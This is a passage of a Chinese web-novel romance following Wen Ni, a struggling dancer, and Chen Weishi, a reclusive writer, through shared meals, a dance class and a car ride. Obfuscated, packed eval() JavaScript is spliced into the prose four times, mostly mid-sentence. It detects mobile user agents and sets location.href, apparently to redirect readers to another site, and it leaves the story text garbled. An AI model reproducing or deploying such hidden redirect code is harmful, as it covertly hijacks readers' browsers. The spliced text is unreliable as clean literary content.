l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564769|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你吃饭的姐姐吗? 温旎:还能有谁,我就这一个姐姐。 王静然:她怎么对你这么好啊。 温旎:说实在的,前几天,我还以为她看上我了呢。 王静然:我就说吧?谁会莫名其妙对你好啊。 王静然:她应该家境不错吧,人还这么好,你好好把握呗。 温旎:我没说她不好啊,确实也很有钱,可我不想那样。 温旎:不管她看没看上我,我都对她没那方面的兴趣。她也不是我喜欢的类型。 王静然:[截图] 王静然:你小子敢情就是打嘴炮呗。 温旎点开一看,大吃一惊:我靠,这是我说过的话? 截图是她和岳琳的聊天,当时她亲手截图,亲手发给了王静然,她现在竟然一点印象都没了。 只见截图上赫然记录着她当时的疯话: 岳琳:行了,别太想不开。 温旎:唉,没事,我已经不伤心了,只是突然发现,人生没钱是过不好一点的,没钱的时候谈爱情简直就是做梦。 温旎:我要发财,我要赚钱,现在要是有个富婆给我一百万,我舔她脚。 王静然:真遇上有点钱的姐姐了,又怂了? 温旎:我收回这句疯话。而且,你见我怂过吗?哪次不是喜欢了肯定会上。主要是我只把她当姐姐。 王静然:太可惜了。我愿意为姐姐变弯。 温旎:滚啊,那是我的姐姐。 王静然:你不上还不让别人上?我说你小子不要太过分了。 温旎:跪恩。 和王静然闲唠了几句,温旎又忍不住翻看相册,反复欣赏陈微时给自己画的画。 虽然手机拍摄下有点变形了,但还是难以遮掩她的美丽和帅气。 总之,在她原本会为了江晓月心情晦暗的两天里,这张素描画像一缕阳光般,稍稍驱散了一些她内心的阴霾。 第二天,陈微时主动给她发微信:中午有空要来吃饭哦。 温旎:好的姐姐![小猫飞奔.jpg] 她照旧是素着一张脸、穿着一身黑的短袖短裤就去了,临走前瞥见那把浅绿色的伞,伸手捞过来带上。 陈微时提醒过她多次,出门要带伞,经常淋雨对身体不好。 陈微时没比她大几岁,平时话也不多,但关心起她来,还是很执着的。 莫名会让她想起外婆。 到了门口,一按门铃,陈微时立刻就打开了门,仿佛是在门口等候一般。 “姐姐~早。”温旎笑得灿烂,照例问候,然后换上自己的蓝色拖鞋。 昨天跟王静然讨论过陈微时,此时看到她,温旎心情未免微妙。 天气已经开始热了,但陈微时是个怕冷的人,室内没开空调,所以只穿了件素雅的米色无袖长裙,披着长发,越发显得身形纤丽,气质典雅。 温旎很快收回目光。 如她所说,陈微时的确不是她喜欢的类型。 14.潮热 吃过饭,尽管陈微时一再阻止,温旎还是坚持要洗碗。 她来陈微时家里蹭吃蹭喝已经够厚脸皮了,怎么还好意思让陈微时洗碗。 而且,其实她也能看出来,陈微时不太擅长做家务。 也幸亏是陈微时东西不多,不然客厅应该会乱套。 洗了碗,她又很自然地把客厅收拾了一下。 窗外难得见了些阳光,陈微时便看到了她逆光的侧影。 她头发非常柔软顺滑,也正是因为太柔软顺滑,很容易被压得变形,但又不是那种毛躁的炸毛,一看就很好摸。 她的脸很窄很小,下颌线陡峭,配上那对飞扬的浓眉,是非常英气的架构;但鼻子小小的,鼻尖和上唇都是翘的,又很可爱俏皮;唇瓣丰满,笑起来眼睛亮亮弯弯,又显出几分媚色…… 如此复杂的元素集中于同一张脸上,却丝毫没有违和感。 她喜欢穿宽宽大大的衣服,发型也酷酷的,走路的时候不说话,看起来会很高冷。 可偏偏一说话,一笑起来,又那么可爱。 但做起家务来却得心应手,又快又好,背影看上去甚至很“贤惠”。 她年纪那么小,也那么大。 她很矛盾。 而对于一个作家来说,“矛盾”的吸引力是致命的。 温旎干活儿,陈微时根本插不上手,只好在对方忙碌完之后陈微时给她倒了杯水:“你真的很能干,谢谢你帮我,温旎。” “姐姐你跟我客气什么。”温旎拿起水杯一饮而尽,用手背抹了下嘴唇,弯起眼睛,“这还要谢我,那我岂不是要跟你说一万句谢谢。” “……你以前经常做家务吗?”陈微时忍不问道。 “嗯,”温旎脸上的笑意淡了一些,“以前上初中,住在亲戚家,经常要做家务,做得慢要被骂的。” 陈微时睫毛轻颤了一下,没再就这个问题讨论。 这次吃完饭,温旎没急着走,而是多坐了一会儿。 店里还要两个小时开业,她现在回去不是在宿舍闷着,就是被徐阳骂,还不如在陈微时这里多待会儿。 陈微时这里又香又干净,沙发也很软。 陈微时见她坐那里无聊,便把平板拿给她:“要不要玩游戏?” 温旎说过喜欢打游戏。 果然温旎接了过去,笑得无比灿烂:“好呀,谢谢姐姐。” “密码是170425。”陈微时在沙发另一端坐下,说道。 温旎“哦”了一声,输入,果然解锁了。 映入眼帘的是系统默认的墙纸,系统默认的app,除了必要的微信,几乎什么都没有。 温旎:…… “我平时都用它来写稿。”陈微时解释道,“你有什么想玩的游戏,就下载吧。” 温旎下载了几款时下热门的游戏,玩了一会儿。 她自己手机已经有点卡了,所以游戏基本上已经戒了。 现在再有机会打,不知怎么,已经没了当初的感觉。 当时的她还小,很容易满足,偷偷用亲戚家哥哥的平板打会儿切水果,就觉得很快乐了。 长大了之后,想要的变多了,不如意也多了,反而很难苦中作乐。 陈微时拿出另外一个平板看书,时不时侧头看温旎一眼。 只见温旎窝在沙发里,窝成小小的一团,低头看着屏幕,浓翘的长睫不时轻眨一下,玩游戏的样子反而很安静。 玩了半个小时,温旎把平板还给了陈微时,但也没立刻走,而是打开了hippop舞室交流群,往上翻看着聊天记录,看到有个叫小柚子的人说,西城区那家很出名的机构在做活动,可以免费体验名师课程。 温旎犹豫了一下,还是去加了机构的老师微信。 最近因为那笔欠债,以及徐阳的为难,江晓月官宣新男友的事,她已经很久没去刷舞蹈课了。 每家舞蹈机构都有免费的体验课,当年她光靠刷各种机构的免费课,就把hippop练得像模像样了。 跟老师预约好时间,她这才打算走了。 一转头,刚好撞见陈微时倏然收回的视线。 一般人或许会在此时装作若无其事,或是开个玩笑搪塞过去,温旎就是这样,但陈微时全都没有,她很明显地很是无措。 温旎停顿了几秒钟,若无其事地开玩笑:“姐姐,你也觉得我不化妆很黑是不是?” “没有的,不是。”陈微时立刻解释,“我不觉得你黑。我……” “我从小就黑,没白过。”温旎没有给她太多尴尬的时间,笑道,“但是你知道吗姐姐,我妈可白了,我爸比较黑。但是不都说,肤色是父母中和来的吗?我就一点都没随上我妈。” 温旎凑近了一些,细细看着陈微时,“姐姐,但是你就好白啊。” 说着视线下移,“还很瘦,我好羡慕。” 在她的注视中,陈微时的尴尬被另一种尴尬取代了,脸颊微热,别开眼神:“……你也不胖。” 这个瞬间,有一种夏天已经到了的真切感。 温旎眨了眨眼睛:“那我告诉你一个秘密——我之前一百三十斤,还是去年才瘦下来的。” 被温旎长久地注视,陈微时不得不回视,或者说,舍不得不去回视。 于是她看到温旎浓密的睫毛翩跹,像蝴蝶翅膀一样掀动着潮热的空气,然后在千里之外的她心里引发了一场飓风。 这一次,她克服掉了恐惧,没有再移开视线。 然而,对她来说惊涛骇浪的一秒钟,对温旎来说却很寻常。温旎看着别人说话的时候总是直视对方,目光坚定坦率。 陈微时靠自己的逻辑思维能力抓重点:“那……你是怎么瘦下来的呢?” 温旎“唉”了一声:“当时……我刚过来苏城,人生地不熟的,压力很大,又和前女友分手了,所以……” 她说得很乱,但很坦率。既然打定主意要放弃陈微时这张命运彩票,既然珍惜陈微时这个好姐姐,她就没什么好隐瞒的。 陈微时给她一种安心感,让她可以毫无顾忌地说出自己的很多事。 其实很多事情,她连陆笙都没细说。 “……这样。”陈微时又收回了目光,窗外吹来了一阵凉风,置换掉了潮热的空气。 就在温旎以为陈微时不会再说什么的时候,陈微时却开口道,“一下子瘦了二十多斤,你当时应该很伤心。但不管怎么样,现在已经熬过来了,不是吗?” “嗯嗯。”温旎起身,双手握拳做了一个“加油”的手势,“都熬过来了。” 都熬过来了……吗? 温旎跟所有朋友都是这么说的。 可每说一次,她都要怀疑自己一遍。 说起来那段感情也就只持续了不到四个月,可她怎么就那么难受呢。 回去时店里还没完全开门,顾客根本没有。她偷偷溜到后面躲清闲,顺便跟机构老师约好了课程时间。 这家店共送五节体验课,且有业内比较出名的老师带课,整体来说很不错,温旎搞定了一切,最后才想起去查看位置。 一看心都凉了——位置在西城区的最边缘,都快到隔壁市了,距离这里二十公里。 地铁过去要坐一个半小时,还得蹬两次共享单车。 没办法,约都约了,温旎也舍不得放弃,只好计划着每次去多刷点,争取两次就把五节都刷完。 好久不跳舞,她已经生疏了许多,再不练起来,恐怕要大退步。 不管怎么样,约好了课程,看到那熟悉的课程通知,她心情好了许多。 晚上七八点钟是每天最忙的时候,偏偏是这个时候,手机响个不停。 温旎帮客人包好头巾,抽空掏出口袋里的手机,随便瞅了一眼,动作凝固了一瞬。 是外婆。 趁着还没新顾客进来洗头发,她赶紧钻进卫生间把电话拨了回去,语气故作轻松:“喂?外婆,怎么有空给我打电话,今天不忙着打牌啦?” 祖孙两个平时就是这么打打闹闹。外婆在对面笑了起来,随即说道:“等下就要去打啦,你下班了吧?” “下班啦。”温旎瞥了一眼外面,有些心虚地压低了声音,“我在外面吃饭呢。” “多吃点,上次视频看你瘦的。”外婆慈声说道,“不要减肥啦。” “……想在娱乐圈混,就是要保持身材嘛。”温旎笑嘻嘻地说道,“再说了,瘦一点跳舞也好看。” “就你有道理。”外婆呸了她一声。 温旎笑了,然后又严肃起来:“对了,最近我妈要是找你,你可别理她。” 外婆明显比她还心虚:“知道啦。” 温旎忍不住提高声音:“你又把钱给她了是不是?我让你去医院复查,到底去没去!” 外婆在那边振振有词:“哎呀,我不需要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571407|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医院!你也不要总是给我打钱,顾好自己,我还有退休金的!你也不要总是和你妈吵架,她在外面也很不容易。” 温旎目光冷了下去:“那也是她自己愿意跟那个男的生小南,关我们什么事!连你去医院的钱她都要抢,她算什么做女儿的!” “哎呀算了……”外婆唠叨着劝和,“你在外面也好好的,不要总是想着我,我吃着药呢,身体好得很,上个月刚去复查过嘛。” 温旎有火不知道往哪里撒——温雨婷人在海城,外婆又在江城,这俩人一个她懒得惹,另一个她不忍心惹,她还能怎么样呢? 同样是母亲,外婆是怎么对女儿的,温雨婷又是怎么对女儿的? 她的眼里只有小南。 温旎呼出一口气,听到外面有人说话,赶紧说道:“好了外婆,我朋友在叫我,我得出去了。” “哎,等下啊,阿妮,你工作还顺利吗?还有没有机会去拍戏?”外婆急着问她。 “我不是说过好几次了嘛,”温旎情急之下语气有点冲,“暂时拍不了了。” 还拍什么戏啊,她辛辛苦苦存下来的两万块都被那个经纪人骗光了,加上生活费和房租以及外婆的看病钱,她至今还倒欠银行三万多。 外婆倒也不在意她这样:“行啦行啦,我知道了,去吃饭吧。”末了还加一句,“要多吃哦,吃饱饱。” “……知道了。”此时卫生间没人,温旎不禁有些哽咽,眼眶也酸酸的。 这个世界上,还有谁关心她能不能吃好饭,只有外婆了。 ……不对,还有姐姐。 她把手机塞进裤子口袋,抹了抹眼睛,又若无其事地出去了。 两天后的苏城气温持续升高,雨也从绵绵细雨变成了阵雨,时时有阳光从云层中展露欢颜,让这个被雨雾包围已久的城市有了几丝喘息空间。 温旎提前跟陈微时说了,中午就不过去吃饭了,她有点事要出门。 “姐姐,如果饭菜剩下,你千万别扔,可以放冰箱里,我帮你吃。” 她是这样跟陈微时说的。 她真是一点都看不得浪费粮食。 陈微时:好的。 温旎爬起来简单化了个妆,穿上宽松破洞短袖和牛仔裤,戴了顶棒球帽,拿了瓶矿泉水就走了。 她边往共享单车停放点走,边查看路线,陈微时在这时突然给她发了个消息:你出门有什么事吗? 温旎回复:去西城区的一个舞室跳舞[小猫扭动.jpg] 陈微时:我正好要去西城区的一家书店,打车顺路载你吧。 温旎手指悬停在屏幕上,在心里“额”了一声——这也太正好了吧。 陈微时想帮她的心好明显。 她觉得有点好笑,有点感动,有点可爱,还有点不可思议。 温旎:姐姐,那个舞室很偏的,你应该不会很顺路,还是我自己过去吧~谢谢你,我的好姐姐。 陈微时:还是一起吧,我要去这家书店。 她说着发来一个位置。 温旎打开一看,确实是一个方向。 虽然心里还是觉得陈微时是在哄自己,可不知怎么,温旎还是说了句:好,那姐姐我在张大姐麻辣烫那里等你哦~ 消息发出去,她在“张大姐麻辣烫”门口站定,呆呆看着伞面上流淌下来的雨线,等着陈微时过来。 “我喜欢这样,跟着你,随便你带我,到哪里……” 麻辣烫店里飘出来的除了香气,还有清越的旋律。 温旎不自觉地跟着哼唱起来。 她喜欢这首歌。 看她的外表,别人大概都会认为她只听快节奏的歌,实际上她也听老歌,很多同龄人都不知道的歌,她都会唱。 当然这首歌没那么老,她觉得这首歌很浪漫。 在内心的最深处,她曾希望有这样一个人。 但现在,她已经不相信会有这样一个人了。 在动情的旋律中,她看到街边有卖铃兰的,只是一个小摊位,不知道是哪个花店的花没卖出去,在这里紧急甩卖,一束三支铃兰,才卖五块九。 这跟白送有什么区别。 她不怎么喜欢花,但看到这花的一瞬间,立刻就想到了陈微时。 她在陈微时的客厅里看到过一次铃兰,她想,陈微时应该会喜欢的。 “要这三枝。”她仔细挑了挑,拿了束看起来最不蔫巴的。 15.可爱 车子从西门驶出时,阵雨已经暂收,丝丝缕缕的阳光从云层中照射出来,把刚来到苏城的雨水又召唤了回去,整个城市都水洗过般清爽,空气中有干净的水蒸气味道。 陈微时打开窗户,让好闻的空气涌进来。 一起涌入的还有沸腾嘈杂的街巷人声。 没过一分钟,商务车就减速了。 这条街算是一个比较喧闹的商圈,即便是上午十点也人来人往,然而陈微时看向窗外,还没等看清“张大姐麻辣烫”在哪里,目光便一下子锁定住了斜对面站着的女孩。 温旎戴着棒球帽,越发显得一张脸小小窄窄的,少年气十足。她塞着耳机,随着音乐节奏随意甩着手里的伞,一副百无聊赖又懒得搭理人的样子。 但另一只手,却小心拿着一束用塑料包好的铃兰花。 车子停在了温旎跟前,她抬眼看到陈微时,下意识把铃兰花束藏在了身后,帽檐下亮晶晶的桃花眼弯起来:“姐姐。” 司机下车开了车门,她快步走过来坐上后座,还礼貌又讨喜地跟司机说了声“谢谢哥”。 “差点没打到车,让你等了这么久。”车子启动,另一边的陈微时侧头歉然道,“上课还来得及吧?” 温旎也侧头看她,笑道:“来得及啦姐姐,不要跟我说抱歉。” 说着,那双桃花眼在她身上流转一番,又嘴甜地补充了一句,“你今天好美。” 温旎没说谎,她确实觉得陈微时今天格外美丽,并不是之前偶遇时那种比较正式的打扮,而是类似于上次去南湖的装扮,只是这次穿的是一件蓝色纱质无袖上衣,面料轻薄柔软,勾勒出纤细腰身,脖颈处是镂空设计,衬得本就白皙的肌肤越发光洁如玉。 去书店的话,这身衣服好像过于精致了。 温旎从不否认陈微时的美丽,她不是没有审美的人,但这仅止于对美好事物的欣赏和赞美。 陈微时也能听出她语气中的坦然,按下心中那一点无风自起的涟漪,转头从包里取出一个纸袋包装,递给温旎:“我顺路买的三明治,这份给你。” 温旎出来前只胡乱喝了瓶饮料,原本打算跳完舞吃个包子就完事了。 她下意识用一只手接住纸袋。 指腹不留神擦到了陈微时细腻微凉的手心,她没当回事,陈微时则立刻缩回了手。 纸袋还温热,食物的柔软触感令人感到熨帖和安心。 温旎眨了眨眼睛,突然从身后把花束拿出来,递给陈微时:“那我就用这个来感谢你吧。” 虽然刚才在车里就已经看到了温旎拿着花,但陈微时并没有想到,这个是给自己的。 这花束很小,里面只有三支铃兰和一些花叶,铃兰有些蔫了,一朵一朵地耷拉着脑袋。 但这些陈微时都没看到,她只看到温旎这束花是送她的。 她垂下眼睫,把花束接在手里,刚平息下去的心潮又剧烈起伏开来。 “……谢谢。很漂亮。” 她知道温旎并无他意,最终也只是轻声道谢。 温旎侧头看着她,然后突然“噗嗤”一下笑了:“姐姐你要不要这么严肃?哎,你该不会是嫌弃这花太low了吧?” “不是。”陈微时立刻更加严肃地辩解。 温旎却笑得更厉害了:“哎呀姐姐你别解释,你越解释我越想笑……” “你看起来呆呆的,好可爱……” 她大笑起来眉眼弯弯,露出一口健康好看的牙齿,嘴角笑弧勾住人的视线,灿烂得照亮整个车厢。 连司机都忍不住笑了。 陈微时很无奈地看着她:“……你要不要先吃点东西?” 温旎笑够了,这才拿出纸袋里的三明治,美美地吃了起来,含含糊糊地说道:“还是姐姐对我最好了……” 她语气中不自觉带上一点依赖和撒娇。 铃兰花在手中散发出清香,陈微时把握着它的动作放得轻了又轻,怕这脆弱的几个花苞会彻底蔫掉。 “这是我第一次收别人送的花。”她想了想,还是转头对温旎说道。 不为别的,只为了让温旎知道,她并不嫌弃这束花。 相反,她很珍惜。 “啊?不会吧。”温旎刚才其实也没太在意,但既然陈微时解释了,她就还是搭了腔,“你上学的时候肯定好多人追你,怎么会没人送花呢。” “有送的。”陈微时轻声说,“但我都没收。” 她一直深知自己不是个很能处理人际关系的人,所以干脆能躲就躲,与其到时候找理由拒绝,倒不如从一开始便想办法杜绝。 那些花都被她以各种办法拒绝掉了。 而且那也只是大学初期的时候,后来她的孤僻和不善交际已经被所有人知晓,也就没有了这些麻烦。 她又没什么好闺蜜,因此也就从未有过收别人花的经验了。 她解释得如此认真,温旎都不好意思笑了,不得不端正姿态认真解释回去:“好了好了,姐姐我知道你不嫌弃我啦,我根本就没觉得你会嫌弃我好不好?在我眼里你是最好的人了,我从来没把你想这么坏呀。都是开玩笑逗你玩的啦。” ……哎哟,真累。 花是她随便买的,话是她随便说的,她的世界里不存在这么多纠纠结结。 对于陈微时的过去,她也不想过多了解。 陈微时的世界离她太远了,跟平行时空一样,她根本没办法做到了解。 对方要不是陈微时这个好姐姐,她早就让对方跪恩了,哪来这么多事儿,这花是她好心送的,爱要不要。 也就只有陈微时,能让她有一些耐心了。 半个小时后终于到了舞室楼下,陈微时跟温旎约定好了时间,到时候来接她,她都下车了,然后突然想到了什么,回头敲了下车窗:“姐姐,你要不要来舞室看看?你应该没去过舞室吧,顺便看看的话,是不是也算积累了素材?” 陈微时愣怔几秒钟,点头:“……嗯。” 她小心地拿着铃兰,跟在温旎身后走进这幢大厦一楼大厅。 几个打扮潮流的年轻女男走在她们前面,温旎侧身凑近过来,小声说道:“姐姐你看,那几个人肯定也是来跳舞的,我也不用看那个舞室在几楼了,跟着他们走就好。” 她身上有一种很独特的味道,客观来说不是香气,但却莫名地有些好闻。 陈微时稍稍别开脸,“嗯”了一声。 去舞室的过程中,温旎一直在给陈微时介绍各种关于舞室的事,直到她的那间教室快要开课了,她才说道:“姐姐那我进去上课了。你也快去书店吧。” 陈微时应了一声,看着她走进教室,然后看到她突然又探头出来,笑道:“姐姐,我应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585475|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该也有帮到你吧?” 陈微时点头:“当然有,我确实什么都需要了解一下。” 温旎笑意更深:“有帮到你就好。我进去啦。” 陈微时看着她走进教室里,融进那一群学员里,跟着老师做热身运动,表情格外认真专注。 直到现在,陈微时才想起自己要去书店。 她当然没有要去书店。她撒了谎。 她几乎不撒谎的。 她也不知道自己在做什么,她只知道,她单纯地想对温旎好。 现在她也在撒谎——她说了要马上去书店,但并没有,她站在教室玻璃外,看了温旎一会儿。 即便是外行人,也能看出老师教的这几个八拍难度不低,很多学员都跟不上,但温旎却跟得很快,动作潇洒帅气,张弛有度,有哪里不顺畅她就会一遍一遍地琢磨,直到全部动作到位,她才勾起唇角笑了,志得意满的模样。 在所有的学员中,她也许不是跳得最好的,但却是跳得最好看的,结尾录成果视频时,老师也让她站C位。 从始至终,她都没有往玻璃外看一眼。 或许是专注到了极点,也或许是,她并没有想过陈微时会看她。 今天要连上三节课,中间休息时,温旎抽空看了眼手机,这一看不要紧,一个天大的坏消息就砸下来了: “上头事务所”职工群里,徐阳发了一条艾特曹悦的消息:悦悦,新来的阿豪没房子住,你还是搬回店里二楼吧,你们几个女生方便点。 ……靠。 温旎擦着汗在心里骂了一句——完蛋了,曹悦又要回宿舍住了。 之前徐阳x骚扰曹悦,她为曹悦出头得罪了徐阳,曹悦不但不感激,反而跟她划清界限,还在背后讲她坏话,说真正和徐阳有什么的是她,不是自己,把她气得够呛。 现在徐阳如此针对曹悦,还收回了曹悦只住了一个月的单间,曹悦肯定非常不爽,急着找她发泄。 搞不好还会把被徐阳针对这件事,扣锅到她头上。 其实温旎不是不会吵架和打架,她只是真的不喜欢。 包括和徐阳的矛盾,她也都是忍无可忍才会发火。 一想到回宿舍要面临如此糟心的局面,她心情就差到了极点,下半场都是强打精神跳的。 下课了,她没精打采地出了教室,一眼就看到了坐在旁边休息区的陈微时。 “哎?姐姐,你等了很久吗?”温旎一边用帽子扇风,一边走过来问道。 陈微时站起来,摇头:“……没。” 说着,把一瓶矿泉水递了过来。 温旎“哦”了一声,很自然地接过矿泉水,仰头痛饮了大半瓶,随即抹抹嘴唇,和陈微时一起往电梯那边走:“姐姐,那你去书店怎么样啊,买书了没。” “……没买。”陈微时咬了咬唇,轻声说道,“随便看了下。” 温旎又“哦”了一声,没再多说什么。 下楼陈微时很自然地拿出手机打车,温旎站在她旁边发呆。 车子来了,两人依然并排坐在后座,陈微时看出温旎没精神,也就不多言,只是默默从包里又拿出一包纸巾递给她,示意她再擦擦汗。 温旎把纸巾接在手里,捏了捏,浓密的睫毛微颤,随即侧身略带委屈地对陈微时说道:“姐姐我有点晕车,能不能抱着我?” 16.靠近 温旎喜欢拥抱。 她喜欢大大的、紧紧贴在一起的拥抱,这会让她有绝对的安全感。 此刻她真的很需要一个拥抱,用来包裹她所有的阴霾、压力和坏心情。 陌生的异乡,她找不到任何一个人,可以袒露这隐秘的欲望。陈微时是个例外,会让她感到安心,像一个安全的避风港,让她可以停下暂歇。 她此时的语气委屈又亲昵,很明显地打破了陈微时又一层社交壁垒,但和前几天那种突如其来的刻意热情不同,这次陈微时没有感觉到困惑和无措。 所以她只是犹豫了一秒钟,便顺从了自己内心的冲动,伸手轻轻揽住温旎,让她靠在自己肩头,手指轻轻扣住她的腰。 两个人从未像现在这般亲近过,体温一下子纠缠住彼此,陈微时稍微侧头,便能闻到温旎碎发上洗发露和汗水混合的气息。 陈微时把头偏开到另一边,刻意控制着自己的心跳。 其实这车别提多稳了,温旎现在并没有晕车,一靠上陈微时肩膀,清新淡淡的香味便包围住了她,她闭上眼,不自觉地哼起了那首歌: “我喜欢这样,跟着你,随便你带我,到哪里……” 就这样,她坐在干净馨香的车子上,枕在千万富婆怀里,暂时把那些烦心事抛在脑后了。 但是终于还是到了“枕水居”西门。 温旎揉了揉眼睛,在陈微时肩膀上往外看了一眼,声音有点哑,语气茫然:“这么快就到了?” 下一秒,她低头发现自己身上盖了件很薄的防晒外套,应该是陈微时的。 “姐姐~”她一时间对这个怀抱有些不舍,在陈微时肩头蹭了蹭,碎发拂过陈微时唇畔,撒娇地叫了一声。 前面的司机看着后视镜里的她们,笑道:“你们姐妹感情真好嘞。” 陈微时垂下眉眼,没说什么,倒是温旎抱住了她手臂,懒洋洋地笑道:“嗯,那当然啦,我姐姐是世界上最好的姐姐。” 两个人在西门分别,温旎说了声“明天见哦姐姐”便转身朝“上头事务所”那边走去,陈微时则站在原地,看了几秒钟她的背影。 只见她往前走着,和刚才一样并未回头。 她一直如此,不会回头看陈微时一眼,可现在凭什么,她却要求陈微时回头看看呢? “不好意思,我想,我和你没什么好谈的。”陈微时尽力维持着礼貌,拒绝道。 三年过去了,她已经变了许多,不再是那个不谙世事的象牙塔中人,三年前写作不顺,她便已隐隐感觉到了自己或许该做出改变,可她万万没想到,最终促成她改变的,竟是她那么信赖爱护的温旎。 温旎肩膀耷拉下去,那双黑亮眸中闪过一丝受伤,但目光仍然没离开陈微时的脸:“……姐姐,真的对不起,是我的错,我……” “如果你只是来说这个,”陈微时冷声打断了她的话,“你三年前就已经说过了。没事我就先走了。” 她说着,划了下门禁卡,滴的一声,门开了。 她拉开门,又在门前停留了几秒钟,用来说那最后一句话,“那把伞,扔了吧。” 说完,便拉开门走了进去,冰冷的门禁又“滴”的一声在温旎眼前合上。 陈微时脸色紧绷地上了电梯。 曾经身在象牙塔中的她,以为“对不起”的含义仅仅限于表面,后来才发现,这三个字,甚至可以包含人世间大部分的悲欢离合,是触发不好的回忆最好的开关。 她实在讨厌这三个字。 直到走进家门,被绵绵扑了个满怀,看着它晶亮充满依赖的眼睛,她心情才稍有放松。 和绵绵玩了一会儿,又往猫碗里添了些食物和水,陈微时左右是没心情写东西了,便拿起吸尘器,准备打扫下卫生。 这房子三年没住人,虽然来之前让阿姨打扫过,但陈微时还是决心要自己重新打扫一遍。 就像把自己的心打扫一遍一样。 绵绵很调皮,她在哪里打扫就都要凑过去,还非要坐在吸尘器上,陈微时看着它,不禁笑了,把它抱起来放在沙发上,让它自己玩去。 没有了绵绵的打扰,她把卧室和书房都趁机收拾了一遍,床底下也都打扫过了。 拎着吸尘器出去,却看到绵绵在沙发旁的地上拨弄着一个东西,玩得正开心。 陈微时走过去一看,愣怔在了原地。 是那个写着“幸福”的草编星星。 她当时明明把温旎的东西都扔了,这个怎么还在? 她蹙起秀眉,蹲下从绵绵爪下捡起星星。根据她对绵绵的了解,这星星一定是它从沙发后面或者底下弄出来的。 当时她收拾得匆忙,整个人又处于崩溃之中,大概因此遗漏了这个星星。 也许是因为一直放在沙发下面,这星星竟然也没怎么蒙灰,还像当时一样,连红线穗子都那么崭新。 她当时亲手把这颗星星、以及温旎的那个宝塔从床头解下来扔在了地上。 她纤细的手指轻抚了下手心的星星,垂眸看一眼垃圾桶,抬手想扔进去,却仿佛有种无形的力量在拉扯着她,让她又把星星握在了手心。 她细细地看着这颗星星,看着正面的“幸福”两个字,又反过来,看着背面那精致的纹路。 好像有点不对。 她对着灯光仔细看,才发现背后的纹路形成了三个很难发现的小字:幸运星。 原来当年那十五元,是有着如此的含金量,编织这颗星星的匠人,是把多少心血凝练其中,才让它到了自己手中? 这颗星星也着实幸运,竟然没被她扔掉魂归垃圾桶,而是好好地在沙发下躺了三年。 陈微时收敛了自己的情绪,打开茶几抽屉把它放了进去。 时过境迁,它也不过就是个普通的手工艺品,已经没有什么特别的意义了,与其辜负匠人的心血,倒不如就把它留下。 她已经不需要再用扔掉什么东西,来证明她已经忘掉了温旎。 如果问她后不后悔遇到温旎,她的答案是不后悔,但如果问她,后不后悔和温旎在一起,那么她的答案是后悔。 如果她和温旎的关系,就停留在从西城区回去那天,其实就很好了。 就差那么一点点,差一点点,她们都不会有后面的那一切。 下车回到家,陈微时还能听到自己的心跳声,对方身上独有的体息也深深烙印在了她的嗅觉里。 一切都是因为温旎的过分靠近。 她心慌意乱,饭也没顾得上吃,打开《第五个季节》的文档,想写点什么东西出来,大脑竟是一片空白。 她抬头就看到放在桌上的花瓶,花瓶里插着那束半蔫的铃兰。 她知道,现在她对温旎,已经超过了单纯取材的范畴。 她成了故事里的人。这是从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590673|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未发生过的事情。 她定了定神,咬住嘴唇翻看已经写好的那一万多字,退出文档,点击鼠标右键,犹豫了一下,终于还是按下了“删除”。 温旎回去时,刚好碰到曹悦拎着行李箱过来。 她装作没看到,大步上楼换了衣服,下来做自己的事。 “你看看她那样。”陆笙已经替了她半个小时,看到温旎进来,脱了手套小声蛐蛐,“跟我们都欠了她似的。” “随便她。”温旎心烦得要命,懒得讨论这个人。 下了晚班,温旎加快脚步上楼,准备抢先洗澡,今天她跳舞又上班,实在太累了,想早点洗了早点休息。 刚上去,就看到曹悦已经在宿舍了,拿着毛巾似乎也要去洗澡。 看到她上来,曹悦脸色沉了几分。 俩人就对峙这么几秒钟的工夫,另外三个人也已经上来了。 周倩主动打破沉默:“悦悦,你床都没铺呢,要不要先铺床啊。” 曹悦一副委屈的样子:“那好吧,我最后再洗。” 温旎翻了个白眼——这副委屈巴巴的样子给谁看? 其实当初,她也被曹悦这副委屈巴巴的样子骗到了。 说实在的,曹悦长得有点像江晓月。 都是长了一张鼻基底略微凹陷、皮肤白皙的苦情脸,让她觉得保护对方是义不容辞的。 